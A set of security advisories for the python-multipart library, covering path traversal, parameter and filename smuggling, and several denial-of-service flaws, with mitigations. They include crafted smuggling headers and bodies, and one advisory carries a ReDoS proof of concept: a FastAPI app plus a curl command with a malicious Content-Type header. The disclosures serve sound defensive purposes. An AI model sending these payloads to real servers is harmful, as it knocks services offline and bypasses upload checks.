Summary

A Path Traversal vulnerability exists when using non-default configuration options UPLOADDIR and UPLOADKEEPFILENAME=True. An attacker can write uploaded files to arbitrary locations on the filesystem by crafting a malicious filename.

Details

When UPLOADDIR is set and UPLOADKEEPFILENAME is True, the library constructs the file path using os.path.join(filedir, fname). Due to the behavior of os.path.join(), if the filename begins with a /, all preceding path components are discarded:

py os.path.join("/upload/dir", "/etc/malicious") == "/etc/malicious" This allows an attacker to bypass the intended upload directory and write files to arbitrary paths. Affected Configuration Projects are only affected if all of the following are true: - UPLOADDIR is set - UPLOADKEEPFILENAME is set to True - The uploaded file exceeds MAXMEMORYFILESIZE (triggering a flush to disk)

The default configuration is not vulnerable. Impact Arbitrary file write to attacker-controlled paths on the filesystem. Mitigation Upgrade to version 0.0.22, or avoid using UPLOADKEEPFILENAME=True in project configurations.

Summary

parseoptionsheader parsed Content-Disposition (and Content-Type) headers with email.message.Message, which transparently applies RFC 2231/5987 decoding. The extended parameter syntax (filename=charset'lang'value, name=..., and the filename0/filename1 continuation form) is decoded and surfaced under the bare filename/name key, and overrides the plain parameter when both are present. RFC 7578 §4.2 explicitly forbids the filename form in multipart/form-data.

Components that follow RFC 7578, or that do not implement RFC 2231/5987 decoding for multipart/form-data (WAFs, proxies, gateways), may interpret such a header differently. An attacker can exploit that difference to smuggle a different field name or filename past an upstream inspector to the backend.

Details

Given both a plain and an extended parameter, the extended value won. For example:

Content-Disposition: form-data; name="comment"; name=utf-8''role

An inspector following RFC 7578 sees the field comment, while the returned value was name=role. The same applies to filenames:

Content-Disposition: form-data; name="upload"; filename="safe.txt"; filename=utf-8''evil.php

The inspector sees safe.txt, while the returned value was filename=evil.php. Continuation parameters (filename0, filename1, and so on) were likewise reassembled into a filename invisible to a plain filename= match, and percent encoded sequences in the extended value were decoded (so ..%2F, %00, and similar appeared in the returned filename).

This affects the high level parseoptionsheader, FormParser, createformparser, and parseform APIs, and reaches Starlette/FastAPI through request.form(), where the smuggled value is exposed as the form field name or UploadFile.filename.

Impact

This is an interpretation conflict (CWE-436) with other multipart/form-data parsers. An attacker able to submit multipart/form-data can present a different field name or filename to an upstream body inspecting component than the one delivered to the application. Concrete consequences depend on how the application uses these values, and may include bypassing a field name or filename based access/upload control, or, for an application that builds filesystem paths from the parsed filename without sanitization, path traversal via decoded ..%2F sequences. Decoded control bytes such as %00 can likewise cause confusion between an upstream validator and the backend. The File class applies os.path.basename, so file writing through it is not directly affected.

Mitigation

Upgrade to python-multipart 0.0.30 or later, which ignores RFC 2231/5987 extended parameters (name, filename, and their continuations) so the plain name/filename parameter remains authoritative. RFC 7578 §4.2 forbids filename for multipart/form-data; name and the continuation forms are dropped for the same reason, since they are not valid multipart/form-data parameters either.

Summary

parseform() did not validate the Content-Length header before using it to bound its chunked read of the request body. A negative Content-Length turned the bounded read into a read-until-EOF, so the entire body was loaded into memory in a single read instead of in fixed-size chunks.

Details

parseform() reads the input stream in chunks, never reading more than the remaining Content-Length at a time. The per-chunk size is computed as min(contentlength - bytesread, chunksize). The header value was parsed to an integer without checking its sign, so a Content-Length of -1 made this expression negative, and inputstream.read(-1) reads until end of stream. The intended bounded, chunked read therefore collapsed into a single unbounded read of the whole stream. The amount read is still bounded by what the client actually sends.

Impact

This only affects code that calls parseform() directly with a Content-Length header taken from attacker-controlled input and without normalizing a negative value first. No known package is affected:

Starlette and FastAPI drive MultipartParser directly from the ASGI receive() stream and do not call parseform(). Known parseform() consumers either do not forward Content-Length to it, recompute it from the already-read body, or run behind a layer (such as Werkzeug) that normalizes a negative Content-Length to 0.

The realistic exposure is limited to bespoke WSGI or http.server handlers that forward raw client headers into parseform(). In that case a crafted request buffers the body in memory at once, degrading availability under concurrent requests rather than causing a complete denial of service.

Mitigation

Upgrade to version 0.0.31 or later, which rejects a negative Content-Length with a ValueError before reading the stream.

Summary

QuerystringParser treated ; as a field separator in application/x-www-form-urlencoded bodies, in addition to &. The WHATWG URL standard, modern browsers, and Python's urllib.parse (since the CVE-2021-23336 fix) treat only & as a separator. This creates a parser differential: the same bytes are tokenized into different fields than a WHATWG compliant intermediary would produce, allowing an attacker to smuggle extra form fields past an upstream body inspecting component.

Details

In pythonmultipart/multipart.py, the FIELDNAME and FIELDDATA states located the next separator by scanning for & and, failing that, for ;:

python seppos = data.find(b"&", i) if seppos == -1: seppos = data.find(b";", i)

As a result, ; acted as a field boundary. Because the fallback only triggered when no & remained in the current chunk, tokenization also depended on unrelated bytes later in the buffer and on how the body was split across write() calls. This is the same class of issue as CVE-2021-23336 in CPython's urllib.parse.

For example, a body inspecting WAF or gateway that follows the WHATWG rule (only & separates fields) receives:

role=user&x=;role=admin

The upstream parses two fields, role=user and x=";role=admin", sees a benign role=user, and forwards the request. QuerystringParser parsed the same bytes as three fields: role="user", x="", and role="admin". The application (for example via Starlette/FastAPI request.form(), where the last value wins) then received role=admin, a value the upstream validator never saw.

The parser is reachable through the public QuerystringParser class, the high level FormParser, createformparser, and parseform APIs, and Starlette/FastAPI request.form() for url encoded bodies.

Impact

Interpretation conflict / HTTP parameter pollution. An attacker can smuggle extra or overriding form fields past an upstream component that applies the WHATWG separator rule, reaching the backend with parameters the intermediary did not observe.

Mitigation

Upgrade to python-multipart 0.0.30 or later, which treats only & as a field separator per the WHATWG URL standard. ; is parsed as ordinary field data, matching urllib.parse, browsers, and other compliant parsers.

Summary

When parsing application/x-www-form-urlencoded bodies, QuerystringParser located the field separator with a two step lookup: it first scanned the entire remaining buffer for &, and only when no & existed anywhere ahead did it fall back to scanning for ;. For a body that uses ; as the separator and contains no &, every field iteration performed a full failed & scan over the entire remaining buffer before locating the nearby ;. With N semicolon separated fields in a chunk of size B, this yields O(B^2) byte comparisons per chunk.

An attacker can submit a small crafted body of the form a;a;a;... and cause the parser to spend seconds of CPU per request. A handful of concurrent requests can exhaust worker processes.

Details

In pythonmultipart/multipart.py, both the FIELDNAME and FIELDDATA states located the next separator like this:

python seppos = data.find(b"&", i) if seppos == -1: seppos = data.find(b";", i)

data.find(b"&", i) scans from i to the end of the buffer and returns -1 only when there is no & anywhere in the remainder. For a ; separated body with no &, this failed full buffer scan repeats once per field, making parsing quadratic in the body length.

For example, a 1 MiB url encoded body consisting of a; repeated ~500,000 times, submitted with Content-Type: application/x-www-form-urlencoded, causes the parser to perform on the order of 10^11 byte comparisons, consuming several seconds of CPU for a single request. Cost scales quadratically with chunk size.

The parser is reachable through the public QuerystringParser class and through the high level FormParser, createformparser, and parseform APIs for url encoded bodies. It is also the parser Starlette and FastAPI use for application/x-www-form-urlencoded request bodies via request.form().

Impact

Uncontrolled CPU consumption (denial of service). Parsing is synchronous, so a single small crafted form body occupies the handling worker for seconds, blocking any other work on that worker until parsing finishes. Sustained concurrent requests keep workers continuously busy, degrading or denying service.

Mitigation

Upgrade to python-multipart 0.0.30 or later, which treats only & as a field separator (per the WHATWG URL standard) using a single bounded scan, making parsing linear in the body length.

Summary

A denial of service vulnerability exists when parsing crafted multipart/form-data requests with large preamble or epilogue sections.

Details

Two inefficient multipart parsing paths could be abused with attacker-controlled input.

Before the first multipart boundary, the parser handled leading CR and LF bytes inefficiently while searching for the start of the first part. After the closing boundary, the parser continued processing trailing epilogue data instead of discarding it immediately. As a result, parsing time could grow with the size of crafted data placed before the first boundary or after the closing boundary.

Impact

An attacker can send oversized malformed multipart bodies that consume excessive CPU time during request parsing, reducing request-handling capacity and delaying legitimate requests. This issue degrades availability but does not typically result in a complete denial of service for the entire application.

Mitigation

Upgrade to version 0.0.26 or later, which skips ahead to the next boundary candidate when processing leading CR/LF data and immediately discards epilogue data after the closing boundary.

Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-2jv5-9r88-3w3p. This link is maintained to preserve external references.

Original Description

Summary

When using form data, python-multipart uses a Regular Expression to parse the HTTP Content-Type header, including options.

An attacker could send a custom-made Content-Type option that is very difficult for the RegEx to process, consuming CPU resources and stalling indefinitely (minutes or more) while holding the main event loop. This means that process can't handle any more requests.

This can create a ReDoS (Regular expression Denial of Service): https://owasp.org/www-community/attacks/RegularexpressionDenialofService-ReDoS

This only applies when the app uses form data, parsed with python-multipart.

Details

A regular HTTP Content-Type header could look like:

Content-Type: text/html; charset=utf-8

python-multipart parses the option with this RegEx: https://github.com/andrew-d/python-multipart/blob/d3d16dae4b061c34fe9d3c9081d9800c49fc1f7a/multipart/multipart.py#L72-L74

A custom option could be made and sent to the server to break it with:

Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

This is also reported to Starlette at: https://github.com/encode/starlette/security/advisories/GHSA-93gm-qmq6-w238

PoC

Create a FastAPI app that uses form data:

Python main.py from typing import Annotated from fastapi.responses import HTMLResponse from fastapi import FastAPI,Form from pydantic import BaseModel

class Item(BaseModel): username: str

app = FastAPI()

@app.get("/", responseclass=HTMLResponse) async def index(): return HTMLResponse("Test", statuscode=200)

@app.post("/submit/") async def submit(username: Annotated[str, Form()]): return {"username": username}

@app.post("/submitjson/") async def submitjson(item: Item): return {"username": item.username}

Then start it with:

console $ uvicorn main:app

INFO: Started server process [50601] INFO: Waiting for application startup. INFO: ASGI 'lifespan' protocol appears unsupported. INFO: Application startup complete. INFO: Uvicorn running on http://127.0.0.1:8000 (Press CTRL+C to quit)

Then send the attacking request with:

console $ curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8000/submit/'

Stopping it

Because that holds the main loop consuming the CPU non-stop, it's not possible to simply kill Uvicorn with Ctrl+C as it can't handle the signal.

To stop it, first check the process ID running Uvicorn:

console $ ps -fA | grep uvicorn

501 59461 24785 0 4:28PM ttys004 0:00.13 /Users/user/code/starlette/env3.10/bin/python /Users/user/code/starlette/env3.10/bin/uvicorn redosstarlette:app 501 59466 99935 0 4:28PM ttys010 0:00.00 grep uvicorn

In this case, the process ID was 59461, then you can kill it (forcefully, with -9) with:

console $ kill -9 59461

Impact

It's a ReDoS, (Regular expression Denial of Service), it only applies to those reading form data, using python-multipart. This way it also affects other libraries using Starlette, like FastAPI.

Original Report

This was originally reported to FastAPI as an email to security@tiangolo.com, sent via https://huntr.com/, the original reporter is Marcello, https://github.com/byt3bl33d3r

<details> <summary>Original report to FastAPI</summary>

Hey Tiangolo!

My name's Marcello and I work on the ProtectAI/Huntr Threat Research team, a few months ago we got a report (from @nicecatch2000) of a ReDoS affecting another very popular Python web framework. After some internal research, I found that FastAPI is vulnerable to the same ReDoS under certain conditions (only when it parses Form data not JSON).

Here are the details: I'm using the latest version of FastAPI (0.109.0) and the following code:

Python from typing import Annotated from fastapi.responses import HTMLResponse from fastapi import FastAPI,Form from pydantic import BaseModel

class Item(BaseModel): username: str

app = FastAPI()

@app.get("/", responseclass=HTMLResponse) async def index(): return HTMLResponse("Test", statuscode=200)

@app.post("/submit/") async def submit(username: Annotated[str, Form()]): return {"username": username}

@app.post("/submitjson/") async def submitjson(item: Item): return {"username": item.username}

I'm running the above with uvicorn with the following command:

console uvicorn server:app

Then run the following cUrl command:

curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8000/submit/'

You'll see the server locks up, is unable to serve anymore requests and one CPU core is pegged to 100%

You can even start uvicorn with multiple workers with the --workers 4 argument and as long as you send (workers + 1) requests you'll completely DoS the FastApi server.

If you try submitting Json to the /submitjson endpoint with the malicious Content-Type header you'll see it isn't vulnerable. So this only affects FastAPI when it parses Form data.

Cheers

Impact

An attacker is able to cause a DoS on a FastApi server via a malicious Content-Type header if it parses Form data.

Occurrences

params.py L586

</details>